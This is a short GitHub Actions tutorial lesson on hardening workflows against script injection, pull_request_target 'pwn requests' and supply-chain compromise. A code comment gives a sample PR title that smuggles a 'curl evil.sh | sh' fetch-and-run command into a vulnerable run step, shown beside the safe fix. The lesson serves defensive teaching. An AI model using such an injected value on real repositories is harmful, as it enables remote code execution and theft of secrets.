GitHub Actions · Lesson 7 of 10 · 3 min read
Security hardening
Script injection
Expressions are substituted into run: scripts before the shell runs. Untrusted input (PR titles, branch names, issue bodies, commit messages) can inject commands:
# VULNERABLE — a PR titled a"; curl evil.sh | sh; echo " runs code
- run: echo "Title: ${{ github.event.pull_request.title }}"
# SAFE — pass through an environment variable; the shell treats it as data
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $TITLE"
Enlarge diagram
Swipe sideways to see all of it, or tap to open it full screen.
pull_request_target and workflow_run
pull_request_target runs with the base repository's secrets and a write token, even for fork PRs. If such a workflow checks out the PR's head and runs its build scripts, an attacker's PR runs with your secrets ("pwn request"). Use pull_request for building/testing untrusted code; use pull_request_target only for metadata tasks (labels, comments) without executing PR code — or gate it behind a maintainer-applied label and an environment approval.
Enlarge diagram
Swipe sideways to see all of it, or tap to open it full screen.
Supply chain
- Pin third-party actions to commit SHAs; review what they do; prefer official/verified ones; restrict allowed actions at org level. (Compromised popular actions have leaked secrets from thousands of repos — pinning and least-privilege tokens limit the damage.)
- Least-privilege
permissions:, default read-only token. - Dependabot for action and dependency updates; OpenSSF Scorecard and zizmor/actionlint to lint workflow security.
- Protect workflow files with CODEOWNERS and branch protection — editing a workflow is editing what runs with your secrets.
- Prefer OIDC over long-lived cloud keys; scope environment secrets to protected environments.
- Generate provenance/attestations (
actions/attest-build-provenance) and sign images.